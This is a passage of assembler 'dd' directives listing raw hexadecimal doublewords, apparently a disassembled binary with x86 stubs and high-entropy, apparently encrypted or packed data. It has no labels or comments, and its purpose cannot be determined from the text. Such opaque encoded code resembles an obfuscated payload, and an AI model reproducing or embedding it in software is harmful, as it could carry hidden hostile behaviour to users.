0BE9585A0h, 0F89187Ch, 3273BC9Fh, 11929170h, 0DD8EA212h dd 0FF8D8DA5h, 6A064993h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0FA61C352h, 0E44D7C29h dd 8529FA49h, 6443265h, 2F5D8D89h, 6A0644h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0A45F76C3h dd 67985C7h, 5E100644h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 7DD66FC3h, 0C7C0EAD8h dd 44107185h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0B24655B5h, 0A49B5FFh dd 0B58B0644h, 64420A9h, 235B58Bh, 95FF0644h, 6440BF9h dd 2FA58589h, 6A0644h, 1C4D95FFh, 0C08B0644h, 623329EBh dd 0A61A1EFDh, 4DCA0B6Ch, 0AB8BDCD2h, 487E8E85h, 0DA4FF69Ch dd 0B595A243h, 533B3EFBh, 0EAC41C57h, 86CB5AF4h, 0E8BC7067h dd 0Bh, 97EB1B8h, 6F100D2Bh, 66512959h, 588CF3B9h, 0ABEC06BAh dd 0B8C0816Eh, 81000075h, 8B78CFC2h, 1D44681Bh, 958B0000h dd 6440675h, 118D895Bh, 0FF06440Bh, 45BE6630h, 81665F7Ch dd 81F6DEF6h, 2C8A74F7h, 5DB52964h, 81064428h, 211306F7h dd 6DB58B59h, 81064415h, 3A5FD4F7h, 0E8E0F48h, 60000000h dd 1A558D89h, 840F0644h, 0 dd 31388961h, 441D119Dh, 2E88306h, 6800Fh, 95010000h, 6442C0Dh dd 830F4848h, 7, 18B0Fh, 4BF80000h, 0FF95850Fh, 860FFFFFh dd 8, 93D68156h, 5958EB47h, 15CE9h, 431D2F00h, 5B49CBF0h dd 495AB496h, 4254B90Ah, 4154B953h, 4A5A330Ah, 6173CF53h dd 3326A63Ah, 13273753h, 0A77B73C4h, 74B49860h, 5160552h dd 517D653h, 5167F53h, 516BB53h, 516DF53h, 516EF53h, 516D853h dd 516FB53h, 516F553h, 516FE53h, 766F2C53h, 57BDA27h, 6A648F73h dd 76658A30h, 516F70Eh, 516FB53h, 516FD53h, 516FE53h, 5167F53h dd 516BF53h, 516DF53h, 516EF53h, 516F753h, 516FB53h, 516FD53h dd 516FE53h, 5167F53h, 516BF53h, 516DF53h, 516EF53h, 516F753h dd 516FB53h, 516FD53h, 516FE53h, 5167F53h, 516BF53h, 516DF53h dd 516EF53h, 516F753h, 516FB53h, 516FD53h, 516FE53h, 5167F53h dd 516BF53h, 516DF53h, 516EF53h, 516F753h, 516FB53h, 516FD53h dd 516FE53h, 5167F53h, 516BF53h, 516DF53h, 516EF53h, 516F753h dd 516FB53h, 516FD53h, 516FE53h, 5167F53h, 516BF53h, 516DF53h dd 516EF53h, 516F753h, 516FB53h, 516FD53h, 516FE53h, 5167F53h dd 516BF53h, 516DF53h, 516EF53h, 516F753h, 516FB53h, 516FD53h dd 516FE53h, 5167F53h, 69F98753h, 16CDE945h, 0D7680000h dd 0E9064997h, 0FFFBB220h, 4998BC68h, 0B216E906h, 7368FFFBh dd 0E9064999h, 0FFFBB20Ch, 499A4268h, 0B202E906h, 6068FFFBh dd 0E906499Ch, 0FFFBB1F8h, 499DC768h, 0B1EEE906h, 0C468FFFBh dd 0E906499Eh, 0FFFBB1E4h, 499F9E68h, 0B1DAE906h, 0CD68FFFBh dd 0E90649A1h, 0FFFBB1D0h, 49A29768h, 0B1C6E906h, 3C68FFFBh dd 0E90649A3h, 0FFFBB1BCh, 49A3B368h, 0B1B2E906h, 3B68FFFBh dd 0E90649A5h, 0FFFBB1A8h, 49AA5D68h, 0B19EE906h, 7568FFFBh dd 0E90649ABh, 0FFFBB194h, 76133488h, 0A8CDEA55h, 7316318Bh dd 0A9CCEB50h, 7510378Ah, 0FD40B961h, 229CBFDAh, 0FA436005h dd 239BB8DDh, 83E06104h, 62559127h, 76F1A631h, 0F6CDEA52h dd 2F4A6DD5h, 0FA995605h, 0E7A0215Eh, 0FF9C003Dh, 654661DCh dd 58C4FFD8h, 0D872D6EDh, 32316FE3h, 86A96B93h, 0EA77F2C6h dd 29h, 0C7A05B6Dh, 4589C7A4h, 387660h, 9F48EC59h, 0A23DE73Ch dd 0BA1053Eh, 0E1316F56h, 55781C40h, 3B77F256h, 0AEh, 0CDEA52BCh dd 4F68D5F6h, 0C8EF5774h, 4F68D0F3h, 0CCF38E2Ah, 0BBD8372Bh dd 2BC6A91Fh, 0A7128E37h, 7E1B3C84h, 0A1C2E55Dh, 19A43C82h dd 2C17A23Eh, 0F99A5306h, 0E7CBFA5Dh, 41FEDD3Dh, 0DC4067D9h dd 82E77BE7h, 5734F1A8h, 0A1230AF3h, 0D2B12D3Bh, 4CF1D2B1h dd 7379CF6Bh, 0A23E3BA1h, 261D3A81h, 912C0FBAh, 4DF0D3B6h dd 833FF86Ah, 99A25D6Eh, 14771Ch, 1E398500h, 0C0E7587Bh dd 1B3C86A5h, 0C1E65D7Eh, 1D3A87A4h, 4DAC6C78h, 91B2D7F0h dd 4E6D082Fh, 96B5D0F7h, 0ED6C092Eh, 549C2A8Eh, 0F4A33162h dd 0C8EF5273h, 11368EADh, 0A05BF374h, 0D700A4C7h, 6A3DE7B6h dd 0C369CDF6h, 29316FC8h, 2D405488h, 377F2E0h, 0C7h, 0CDEA5284h dd 4F68D5F6h, 90B70F2Ch, 0DA6CC8ABh, 0DD372BC3h, 5368DD41h dd 2BCC8AF7h, 0DE604337h, 0EB5EC2F9h, 325770C8h, 0B58EA911h dd 6C4BF5D6h, 46E01957h, 0AA224793h, 0F2A98336h, 7552E9CAh dd 0C076D24Eh, 0F7372B6Ch, 0DA94F76Bh, 124CC8A9h, 0C5A6132Bh dd 0E791C661h, 65F93Dh, 0D5B66F2Ah, 0A14E9971h, 3D5EC23Bh dd 0DF7BA31Eh, 3BA0C469h, 0F2D56D4Eh, 1FA90D6Eh, 203BA0C4h dd 664520BCh, 0B36EFCDBh, 365D6F34h, 1392880Dh, 52EE0000h dd 8C331075h, 57EDCEABh, 8D361570h, 51ECCFAAh, 53071376h dd 0D5B0972Ah, 0A6F48F6h, 0D2B79029h, 0B6E49F1h, 0FB4DE98Ah dd 0BC31625Bh, 0EF526CEBh, 368EADC8h, 52F37411h, 0D5F6CDEAh dd 67294A6Dh, 0BC8AE319h, 0FD982D84h, 784364DEh, 0A1C4E35Bh dd 0B6655B09h, 0AD3E9AF9h, 2A3DE7C3h, 0B794B309h, 129F2A0Dh dd 8A3078Eh, 8808E580h, 147714D1h, 96AD8A37h, 681BBF0Ah dd 0CFC0298Eh, 97426853h, 4019BDDEh, 0EB39F61Eh, 0D3771477h dd 3D727E65h, 1073C65Ah, 0CFAC8B33h, 487354ECh, 270461D4h dd 5B096A9Fh, 2056BF8Ch, 10C52EBCh, 0DBE05BBDh, 12DB5Eh dd 0BA9D2100h, 6443FCDFh, 0BF982201h, 6542F9DAh, 0B99E2300h dd 0E910C8DCh, 35167354h, 0EAC9AC8Bh, 32117453h, 49C8AD8Ah dd 5A388E2Ah, 0A8FF3162h, 32EA522Fh, 0B08BAC11h, 0C33E882Ch dd 9D01372Bh, 69103A01h, 0AF8CEF8Ch, 0DB6DC911h, 0DC372BC3h dd 0CD69DC40h, 3DE795C6h, 0BB1410Fh, 7449F362h, 0B5D04CC1h dd 32092E96h, 0ECCB7251h, 0D4FE4BD7h, 8F2B4825h, 3BA6CC3Ah dd 210261FDh, 9CBB0199h, 0FE466500h, 11C8E2D9h, 0EE7255EBh dd 0BABC298Dh, 5BC7316Ch, 84A31B38h, 1FA182E1h, 9BA018EAh dd 0CB57ABF2h, 0FAD96CF0h, 25066542h, 0CD83B89Fh, 3DC7BE0Ch dd 0DB8249Dh, 805D1C36h, 80EC47E3h, 57CB2F3Fh, 0F87064C5h dd 0B8EB548h, 120Ch, 0EE8BAC10h, 305572CDh, 0EB8EA913h dd 315473C8h, 0ED88AF12h, 65D841F9h, 0BA042742h, 62DBF89Dh dd 0BB032045h, 1B78F99Ch, 625909BFh, 0FE792E31h, 0ADC8EF52h dd 0BF09ADCEh, 80372BC3h, 0D883A91Ch, 4F327C1Fh, 0D0F36256h dd 6A2C174h, 3DE742B9h, 0BCDFE478h, 0B67503F2h, 0F0BE9151h dd 0BA949625h, 8DAE1BEFh, 8A12AD35h, 0B4281334h, 0D4701328h dd 316E5962h, 0C955C955h, 10378FACh, 9D5A012Bh, 22ED5AFEh dd 0AFCC3BA2h, 0A270BD0Bh, 848F413Bh, 0B115503Ch, 67C3A03Ch dd 3BA264D1h, 0DDE67AE6h, 0FF72786h, 90F390B7h, 0A2648234h dd 0EFBB53Bh, 6CF5A18Dh, 76CBE874h, 43F66A51h, 904D0C26h dd 4D6AD0F3h, 45F0D76Eh, 0AC3D8226h, 0DFFC316Eh, 0F6C79164h dd 9DC68F4h, 0AE32AE95h, 290EB695h, 3B8D294Ah, 1225E6ADh dd 0E6AC00B6h, 26AB3725h, 7C340FBAh, 2003511Fh, 0F0668FB0h dd 0F2813793h, 2AB625E6h, 0DFE3E9Fh, 56F2914Eh, 2F2A88E9h dd 523154C8h, 88239531h, 0BA2E3Ah, 0D801C27h, 0BF072491h dd 0AD07A398h, 242E3AF8h, 55E3479Fh, 6A2E3A98h, 32516AF6h dd 3A982096h, 0A88B172Eh, 400E3512h, 0B87B96C8h, 60C1A952h dd 76D7F53Ch, 863F1C46h, 8F3714A1h, 56EECDA8h, 1B9C2A8Eh dd 3FA32E3Ah, 7B298A3h, 6E49F2D1h, 3A1B7CCAh, 7453ED2Eh dd 9AF965F9h, 0F66EF93Eh, 61049824h, 0AAC978C9h, 7E20B80Eh dd 0B9317F28h, 8CED0A3Eh, 75CDEE72h, 40F56952h, 95F6AF6Ah dd 0B72B8C31h, 0A22BB722h, 1BA43C81h, 6FD167C3h, 7AE612B5h dd 5793DDE6h, 21D6838h, 2D4ED24Eh, 0CB41B40Eh, 204F78F7h dd 0B97AC30h, 8B2185BEh, 4212B569h, 37F500Ch, 7CCCFF9Bh dd 61ABE550h, 47E38001h, 12B54FF1h, 0C5EF5AC6h, 7F58E616h dd 0FED96744h, 59C559C5h, 83A4193Ah, 6CF15536h, 97187CB0h dd 0F34B680Bh, 2F94B7D4h, 0FBD8BD08h, 7C5F6443h, 0CB74E6C1h dd 7E7A0C12h, 0FEEC045h, 8E320000h, 50EFCCA9h, 8B311277h dd 51EAC9ACh, 8D301376h, 1FDBCFAAh, 16443FEh, 0DEBB9C22h dd 66344FDh, 0DFBA9D25h, 2F993D5Eh, 1031625Fh, 0EF52C047h dd 88E5ABC8h, 0C1543BF3h, 466500B5h, 0D89E0BFEh dd 0FB799AD1h, 9A270467h, 103308BDh, 96B48FA8h, 0A71F0737h dd 0B9D4E580h, 977E36BAh, 1A4h, 496ED7F4h, 0DC5BEE72h dd 0A36E5C12h, 3871B905h, 8E16AE8Dh, 0B48F1334h, 684FF4D7h dd 0EFD4F34Bh, 5DE5C673h, 8657197Ah, 0CBEC54BCh, 68226CF0h dd 593C8954h, 84A3193Ah, 87601B31h, 0F63F40E4h, 9E023DE7h dd 0B5AB01A5h, 0E041316Fh, 4DE98ABCh, 316FB5FBh, 0A49520BCh dd 77F27089h, 795EE5C6h, 296BDE42h, 47h, 8E3112AEh, 0B48FA816h dd 138FB428h, 10CD8CA6h, 0D7731073h, 372BC361h, 0DB7FCA56h dd 3DE7B60Ch, 3094AF33h, 316FC89Ah, 0E7ADD170h, 77F2DFC8h dd 8119A685h, 0BB271C3Bh, 0A3801C27h, 98043F18h, 0C06F2Dh dd 52E80000h, 0D5F6CDEAh, 57744F68h, 0E5ABC8EFh, 0BB8ADD19h dd 0C177D307h, 0F6372B41h, 7843F66Ah, 0A1C4E35Bh, 2B4E7805h dd 0DD56D37h, 2B441FA9h, 20BC2037h, 0B8052645h, 59002A9Fh dd 355BFF9Ch, 1A3DE5AAh, 7BC6E586h, 0A71A395Ch, 1FA71280h dd 310A57A3h, 0E87B4h, 0E299500h, 0D0F7486Bh, 0B2C96B5h dd 0D1F64D6Eh, 0D2A97B4h, 5DBC7C68h, 81A2C7E0h, 5E7D183Fh dd 86A5C0E7h, 0FD7C193Eh, 5E8C3A9Eh, 0E4B33162h, 1AEF5263h dd 0EE408C2Dh, 1C014F3Bh, 4E2D4F3Ah, 0AECDA834h, 0A613348Dh dd 0F1C83D85h, 0A164A011h, 0F442E685h, 0CB372BABh, 0E6A8CB57h dd 0AA384B85h, 0FDDA64ADh, 73C65AC6h, 31129116h, 3E1DA88Fh dd 86A11E86h, 86BD21BDh, 5F3A1DA5h, 0D8E3C47Ch, 0D6E47F2h dd 0E7B40EA9h, 0AC91DF3Dh, 2C0BB2B6h, 0F3C58B17h, 4AC772DFh dd 5936B3D6h, 0B1000007h, 63D57112h, 54372BC3h, 7750EBC8h dd 7B5CE1C2h, 0C34EE440h, 0E487372Bh, 2BC3F640h, 0E055C937h dd 33840FCAh, 51E743D3h, 66372B9Dh, 4719B4FAh, 2185E67Ah dd 3DE24D84h, 234023BFh, 0A94DB800h, 473A6A97h, 2506B32Fh dd 0FCDFBA9Dh, 7B586344h, 7073E1C6h, 6557AEF0h, 0D8ADB5Eh dd 2A960000h, 0F44B680Dh, 2F95B6D3h, 0F54E6D08h, 2994B7D2h dd 0BB7F6B0Eh, 0BDD8FF42h, 6207209Eh, 0BADFF841h, 63062199h dd 932581E2h, 0A431625Dh, 711274F3h, 2BC363D5h, 7DC85437h dd 3416E35Eh, 22114FEFh, 8CEF8C10h, 2BAB9E28h, 883DA137h dd 5176CEEDh, 29F1496Ah, 2BAB3B8Dh, 0FC60FC37h, 1844E5C7h dd 92F1D66Eh, 0AAE355F1h, 48D4372Bh, 86A998FDh, 0EA7E3681h dd 2Ch, 0D571126Dh, 372BC363h, 0EDCA7754h, 8C60C471h, 0A6372BC9h dd 0B402A6C5h, 65372BC9h, 2BC977C1h, 59D44837h, 61F570C5h dd 72FFFFFDh, 2BC37FD5h, 633CFF37h, 0BA9D2300h, 65C86C0Fh dd 483DE23Ch, 2A94B7D4h, 1FAA360Dh, 0C0E75F7Ch, 193E86A5h dd 9BBC0122h, 0ADA61009h, 0B7320957h, 0CB0h, 325770CCh dd 0EC89AE11h, 375275CFh, 0ED88AF14h, 315473CEh, 0B9047525h dd 66D8FB9Eh, 0BE072441h, 67DFFC99h, 0C7A42540h, 625CD563h dd 3ABDEA31h, 0F6CDEA52h, 714A6DD5h, 0D8CAF253h, 13224760h dd 7E36EAFCh, 2350h, 3112D700h, 0BC18AD8Ah, 372BC950h dd 0FCD26FEAh, 6F0CFFFFh, 2BC87DCBh, 0A00F8137h, 0CEB095BCh dd 0ED6ADF43h, 0A4C7A05Bh, 0E792BB00h, 0B91D7E3Dh, 316FEC0Fh dd 0DE2AC30h, 45298055h, 892D168Ah, 316F0F22h, 5F3569C8h dd 77F21B30h, 1F11Ch, 0FD59B00h, 39372BC3h, 1AC2795Ah dd 2BC308BEh, 2FB32F37h, 12AB8814h, 27920E35h, 290EB695h dd 0F0D76F4Ch, 0C07D6FCBh, 0DAC372Bh, 1DDF91D1h, 4B49D63Fh dd 9FD8D6E4h, 12B133D1h, 1B3C84A7h, 70A2547Eh, 3B511C9h dd 34372BBAh, 930F34A8h, 0AF17340Fh, 0ED8EED88h, 2BBAFF49h dd 17FB0337h, 0B80427ACh, 8FE7A935h, 0AB8B0055h, 0C27A59ECh dd 0F3BDDEE5h, 0E91D0AAAh, 0DC238A35h, 1687CA84h, 0C8B1D698h dd 84E39B4Ch, 278F9531h, 0C465372Bh, 0FED1FC98h, 0FD9E7E35h dd 2B23EF59h, 48F3D037h, 446F36Fh, 14Ah, 0CDEA5283h, 15328DAEh dd 0B89BA0h, 9A062198h, 883E9AF9h, 1372BC3h, 371499BEh dd 0F93A88Fh, 290EB093h, 0F99AF99Ch, 2BC3EB5Dh, 0FCDB6237h dd 75CEED71h, 0ECDE752h, 0E9963251h, 483DE7A0h, 0E14BEFD4h dd 0B316FE2h, 0D6F14B68h, 0FA9AC263h, 77F2C5D3h, 0C117D698h dd 3567B4AAh, 29C280h, 5B450000h, 0A4C7A0h, 3DE7B6D7h dd 0DB95F66Ah, 0D23F667Ch, 81BA0F00h, 6F4E8F25h, 98C46531h dd 0F25DD1FCh, 0B2BF77h, 52380000h, 0D5F6CDEAh, 6D4AF068h dd 6D56CA56h, 60952D0Eh, 121D43AEh, 0A1EF73D2h, 186B5F38h dd 0DFFC49EEh, 234067h, 142F9ABDh, 0CDA88F37h, 2B006C69h dd 59813937h, 2B134BFDh, 6CF06C37h, 0BF782309h, 0FD1678DCh dd 77393DE5h, 33D1A75Eh, 0ED8E1272h, 315473CEh, 1A88AF12h dd 57A30F0Dh, 818E0B30h, 9F00000Ah, 42610423h, 9CBFDAFDh dd 47640126h, 9DBEDBFCh, 76620720h, 0C1E65BC2h, 1E3987A4h dd 0C6E1587Bh, 1F3880A3h, 3C98FB7Ah, 3162628Ah, 527DFAADh dd 0EF2C1AEFh, 3C74254Fh, 59E0C3A0h, 0F5932581h, 38A4372Bh dd 577411A4h, 2AADC8EFh, 0F6CDEA52h, 2F4A6DD5h, 397AAh dd 31122D00h, 0A96AD8Ah, 42C48F44h, 2A9F8B9Ah, 6043F282h dd 5EC2F9DEh, 5D1AC1EBh, 21249A3Eh, 970B3DE2h, 0A885341Eh dd 27246FCBh, 0DF433BAEh, 1CEA40E4h, 0A1003BA6h, 778977Dh dd 20D471A9h, 53000003h, 5985C12h, 0E2AC8B36h, 69DC209Bh dd 2B7667CDh, 76D06937h, 0BD7C372Bh, 1C2783E0h, 1B3DE71Ch dd 0ED381587h, 1A2157A0h, 9B79Fh, 5E79C500h, 80A7183Bh dd 5B7CC6E5h, 81A61D3Eh, 5D7AC7E4h, 0D6C2C38h, 0D1F297B0h dd 0E2D486Fh, 0D6F590B7h, 0AD2C496Eh, 61DC6ACEh, 0B4E33162h dd 0CDEA5233h, 70DB95F6h, 0E6BF03A5h, 0FEBD9722h, 5FE64221h dd 5A3DE289h, 0D289A3C6h, 17D27615h, 4A3BA876h, 2896B5D6h dd 3F226C0Fh, 6EAF72C3h, 0A40065D0h, 3BB8D876h, 5A3FEEA6h dd 0DBE0C779h, 5C6740F8h, 5E47713Fh, 0E34A82F4h, 0E0BD7C56h dd 7DC3E083h, 59FD615Ah, 3BB882EFh, 0D66F4CD0h, 832744F1h dd 3174E598h, 6A91039Fh, 0DF43336Dh, 91261E4h, 0D26E0000h dd 0CB390F5h, 0D76D4E2Bh, 0DB695F0h, 0D16C4F2Ah, 0D38793F6h dd 553017AAh, 8AEFC876h, 523710A9h, 8BEEC971h, 7BCD690Ah dd 3C316260h, 0A05BEC6Bh, 78E4C378h, 3C7ABF1Bh, 811D3DE2h dd 587FC1E2h, 55A01E3Dh, 3103BB70h, 2893B0E4h, 82A8930Fh dd 3B1CA1D7h, 0D960C4A7h, 0DC3BABCAh, 0AA517B40h, 110AAECDh dd 1031743Eh, 0ABEF1E8Ch, 615A4333h, 89BE4h, 7A5DE100h dd 0A4833C1Fh, 7F58E2C1h, 0A582391Ah, 795EE3C0h, 2950081Ch dd 0F5D6B394h, 2A096C4Bh, 0F2D1B493h, 89086D4Ah, 60F84EEAh dd 0E8BF3162h, 0CDEA526Fh, 4A6DD5F6h, 69B10A29h, 2BC37BCDh dd 3CA03C37h, 76C06407h, 49372BC3h, 0C7FC49D5h, 42795EE4h dd 0C7FCDB61h, 42795EE4h, 225AFBDEh, 205CFDDFh, 9AF9DE66h dd 1A2106B9h, 67563386h, 7E36E748h, 74C26605h, 4B372BCBh dd 542062D7h, 0A7000001h, 0F6CDEA52h, 2F4A6DD5h, 0B14B5605h dd 0F024628Bh, 0D9BAD945h, 2BB9CB7Dh, 0D8FF4237h, 57EAC955h dd 0C5A6C570h, 0C97C5BE6h, 0E7DA126Dh, 0B289153Dh, 6F59BC16h dd 56355631h, 6F5944F2h, 52E77B31h, 0A6C9CBF3h, 8A77F24Ch dd 3Eh, 78A05B0Dh, 47DBE0C7h, 0CB1CB8DBh, 803DE7B6h, 80445CEh dd 0D164CE03h, 0E2C57F5Ch, 4BE1457Eh dd 0A1316F87h, 1538DC00h, 5A77F2A7h, 0BE1AC279h, 316F8B08h dd 9A2FB32Fh, 0BCD8h, 0EA525F00h, 70ECCB72h, 20D5684Bh dd 0D313E5A0h, 997836ABh, 0D2411814h, 7E5D3EA2h, 270F35C0h dd 608BFFA4h, 8D3B9FFCh, 0B2372BDDh, 83A09B2Eh, 841CA33Bh dd 1A861A3Dh, 9DBA0221h, 0B9B15CF8h, 823A372Bh, 2FEAC0A5h dd 0F99B2D89h, 9C372Bh, 355BFF9Ch, 1A3DE517h, 1C6BDD79h dd 6F4C316Dh, 4D6EF2D5h, 70ECD7F0h, 11AC8FECh, 0CD705336h dd 0EC7778EAh, 91AA57A2h, 71314h, 0F2D56900h, 2C0BB497h dd 0F7D06A49h, 2D0AB192h, 0F1D66B48h, 0A1D88094h, 7D5E3B1Ch dd 0A281E4C3h, 7A593C1Bh, 180E5C2h, 6670C662h, 10473162h dd 0C8EF5297h, 11368EADh, 0CDEA5172h, 0BADF6AF6h, 0CDEA523Dh dd 4A6DD5F6h, 36AA2Fh, 0D92D0000h, 1ED7827Ah, 79A7337Dh dd 5B49EA18h, 8DEE8DEEh, 2B879F29h, 893CA037h, 0E278922Dh dd 8009953Dh, 5702FA28h, 0E159FD9Eh, 0CA3BABE5h, 725ADF56h dd 0DD000000h, 0AE893112h, 96BC0995h, 0A690AE3h, 8CB79029h dd 0C601A510h, 793DE7B6h, 0D2C886E5h, 0B1E81B7h, 0B5112A9Fh dd 316F551Ch, 4A437BDAh, 0D6B5D68Fh, 6FB5C472h, 0D267FB31h dd 0C0D215B1h, 256B3BA3h, 2FB9B90Ah, 0C67D5EB5h, 45D954E1h dd 0D9604320h, 1759C5FEh, 8E422231h, 0A3269327h, 101h dd 0E6518EC0h, 1A29A91Ch, 22708F54h, 2693CC4Eh, 0C7A05BA1h dd 3CBD00A4h, 1C803DE2h, 0C1E65C7Fh, 447F58E2h, 0F0586DD8h dd 99C56422h, 0ED55D4FBh, 7BA9977h, 9E02259Fh, 9F692Bh dd 12EE0000h, 0CBEC5271h, 2BC3D96Fh, 0F742DE37h, 22411EDDh dd 0E23C3886h, 5663FF3Dh, 0CB6A30FEh, 14B0D393h, 316255A2h dd 99A2853Bh, 37148805h, 0C90AB8Ch, 546588B9h, 89EA77EDh dd 62599B2Dh, 0B5009C31h, 58F7h, 5C127000h, 5AFEB520h dd 372BFCECh, 0A3014FD3h, 9DB70200h, 0C66201DEh, 3DE2C979h dd 3991A438h, 39A11AE9h, 498A384h, 3F80A398h, 371884CAh dd 801CFEF5h, 43899BBh, 548829BDh, 63D57112h, 54316148h dd 48259337h, 861A3161h, 6F9EAF1Ah, 0DD77EC5Bh, 25h, 1271125Ah dd 2BC300B6h, 0FAB3737h, 372BC3B9h, 78C1E27Eh, 0C4EEA5Fh dd 85372BB9h, 5801C3Bh, 0FFFFFEA0h, 78A05B82h, 0BFDCE7C0h dd 2BC3AD1Bh, 920E9237h, 0F44E6D0Eh, 0A10566D3h, 3DE23D4Ch dd 863094F7h, 0B9316254h, 0E182B925h, 0E95C7BC2h, 3C5F18C3h dd 544DFB5Fh, 0EE723162h, 385B385Bh, 62542A9Ch, 24910D31h dd 0ABAB3880h, 75CEED3Bh, 0E97552EDh, 76FB4ED2h, 40FBD1EAh dd 35A00467h, 48317110h, 9AD4B7D4h, 9B998BD6h, 9CBF0A34h dd 4B610423h, 3A8C2890h, 0FD25F774h, 0BD9EFD61h, 0F2912403h dd 3E85BB56h, 61029E2Fh, 0B9DCFB42h, 2358FA1Dh, 6C4BF3B6h dd 0B5922A09h, 38F5A48Eh, 4148FF5Bh, 0F36F8CABh, 2A0DB390h dd 3388D11h, 9DC5F958h, 1C2700BEh, 0AE163580h, 76CFEC89h dd 0F6496A51h, 0C9F2D56Eh, 0D7F2C955h, 0E2997B4h, 0BD1CA935h dd 6A2C181h, 80BAD1B0h, 8DAE1B87h, 55761334h, 58F0CBECh dd 3C5F3CC8h, 0BAD12E98h, 388D1180h, 4BD6599h, 0DE634023h dd 0EB5EC2F9h, 9C5B098Eh, 6BD3F0CBh, 9E3F774Ch, 35EAAD5Eh dd 0FA7D3350h, 0C43AB945h, 0B289AE14h, 2407B22Eh, 268EBB9Ch dd 8FCF6EF9h, 81082F97h, 593A1DA2h, 56E3C47Ah, 147FC96Dh dd 3796372Bh, 87A01F07h, 5F78C1E2h, 146BC064h, 3091372Bh dd 84A31A0Ch, 722F45E1h, 2819372Bh, 7E35F306h, 0FFFFA168h dd 7112EFFFh, 0C300B612h, 0AB37372Bh, 2BC3B90Fh, 57E27E37h dd 88EBCC74h, 843116ABh, 5D7AC2E1h, 96280B68h, 0A3168AB1h dd 2A1F3880h, 0C2C4F859h, 0E5D45D7Ah, 7E36EACAh, 47A6h dd 2A6C500h, 372BCFB4h, 3710A88Bh, 0B90C900Ch, 0C7A05B3Eh dd 3CB800A4h, 1F833DE2h, 0F095822Ah, 2A0DB093h, 44FE3E9Fh dd 56358327h, 960A3162h, 95520923h, 0CB695F6h, 823A9E2Bh dd 0A53BABA9h, 4C35B039h, 0B2000000h, 0A4C7A05Bh, 0E23CB800h dd 2A1F833Dh, 8B9F0749h, 95B5B4D0h, 55448820h, 0B8F6CDEAh dd 0D3FB2CB8h, 2F95B618h, 0C9683308h, 83225295h, 3EF7A25Bh dd 0D141F95Dh, 0A7843BABh, 9E02391Eh, 0B33AA62Bh, 6D4AF3D0h dd 0ECD7F04Eh, 1242C570h, 0CEE95271h, 7BCD69F5h, 3C372BC3h dd 0E13D4E72h, 71EDA68Ch, 785FE7C4h, 0FFD86043h, 2106BF9Ch dd 5633861Ah, 44F25635h, 7B372BA0h, 0FEC5E258h, 614BFE62h dd 0FD9EFDBAh, 2BA0EF59h, 24CD037h, 6EF084BDh, 0D9BA0F60h dd 0E74A027Dh, 82B9253Dh, 6EC98C26h, 97C76631h, 0F1DCD2FDh dd 2FBE77h, 0BEDD0000h, 6EC1AC1Ah, 0BA0F9331h, 0C7A05B3Dh dd 5BE4C7A4h, 0BA6DC97Ch, 0BD3DE7B6h, 14BE1A21h, 0FE316FC8h dd 5A751F5Fh, 3677F2E0h, 0E4h, 0CDEA52B1h, 4F68D5F6h, 5DEB4F2Ch dd 62372BC3h, 53704BFEh, 8CAFCCEBh, 0B32F1433h, 0A61E3D06h dd 0E487E481h, 2BC3F640h, 0EAAC937h, 372BC3B8h, 0CA7FE37Fh dd 2BCC136Eh, 2700B837h, 0FED96142h, 8C2CEFC5h, 0C3710AFh dd 0C7823490h, 0A31B372Bh, 0AE23BF84h, 69CDAE32h, 3DE7A5BAh dd 614221BDh, 2D48FDDAh, 0F89B5407h, 0A10E3C5Ch, 0E0831F3Bh dd 3C597EC3h, 1785A21Fh, 5D6EFD52h, 0F1F97C47h, 0F000001h dd 0D2F194B3h, 0C2F4A6Dh, 0D7F491B6h, 0D2E4B6Ch, 0E6F297B0h dd 5176CB32h, 8EA91734h, 5671C8EBh, 8FA81033h, 0AC086BEAh dd 3162691Ah, 52CD4A1Dh, 0EDCA77EFh, 0B5D64AD6h, 2F0C2B96h dd 168AB196h, 5DE5C6A3h, 645F78C5h, 49BBB6F8h, 81667F6h dd 3094F794h, 372B5F86h, 489AE17h, 0CF482D98h, 0A4C7A05Bh dd 551B3C87h, 27C30830h, 0DCBF0AB4h, 0E788AF78h, 92B1D23Dh dd 1DAB0F28h, 8C316F8Ah, 9C1136h, 0BF9CFF9Ch, 32842007h dd 5316F8Ah, 0B3172C99h, 316F8A19h, 6A2A52F3h, 77F2A243h dd 0C229h, 0EA52AE00h, 0D7ECCB72h, 0CFECD74Bh, 7750EA72h dd 48F3D04Ch, 0ABC8F36Fh, 0C3DA6CC8h, 41DD372Bh, 0CC2D50F4h dd 6BE372Bh, 0C7CC7ADEh, 6FF3372Bh, 0BBF596F3h, 0FCAD180Ah dd 0F3D0653Ch, 7D576C4Bh, 2682E1BEh, 3DE776F5h, 0AF85E07Ch dd 0F45033ECh, 3BA1D4F5h, 91DFBC20h, 6B8E4AFDh, 2241F4CAh dd 0FE9BBC01h, 0D54760DDh, 5D6F8C86h, 0D98D0833h, 27000000h dd 0FAD9BC9Bh, 24076245h, 0FFDCB99Eh, 25066344h, 0CEDABF98h dd 92E930Ah, 0D6F14F6Ch, 0E2990B3h, 0D7F0486Bh, 0F45033B2h dd 31626842h, 12A52275h, 1DA88F31h, 0C7A4833Eh, 0B3440089h dd 8E3BABD6h, 5770C8EBh, 294C7A34h, 24D33DEFh, 5273F491h dd 11C972EAh, 2BC303B5h, 34A83437h, 0BEF093A8h, 903B2678h dd 9464231Dh, 8D80CB85h, 5B7CC2E1h, 6A49FC60h, 0B390F5D2h dd 6A492C0Bh, 6ACEF5D2h, 0FA0B64F5h, 0BA6C9031h, 63402502h dd 11A703DBh, 26740BAEh, 0A398BF05h, 0C4EDA33Fh, 62174F6Eh dd 8EAD960Ah, 72291235h, 558D3211h, 0BEF47F1h, 78E47874h dd 0CB6ADF43h, 0B32B9393h, 8E12290Eh, 0EC547712h, 0F093F0CBh dd 0BEFE254h, 0FC49D574h, 379h, 60E7FE00h, 0F2C9EE52h dd 754E69D1h, 0F3C8EF56h, 72496ED0h, 0F0CBEC51h, 72496ED3h dd 0F6CDEA51h, 73486FD5h, 0F3C8EF50h, 0E7895770h, 4C781h dd 0EF810000h, 4, 5C243C87h, 68241489h, 6D49h, 56242C89h dd 0C681E689h, 4, 8704EE83h, 895C2434h dd 0BB532414h, 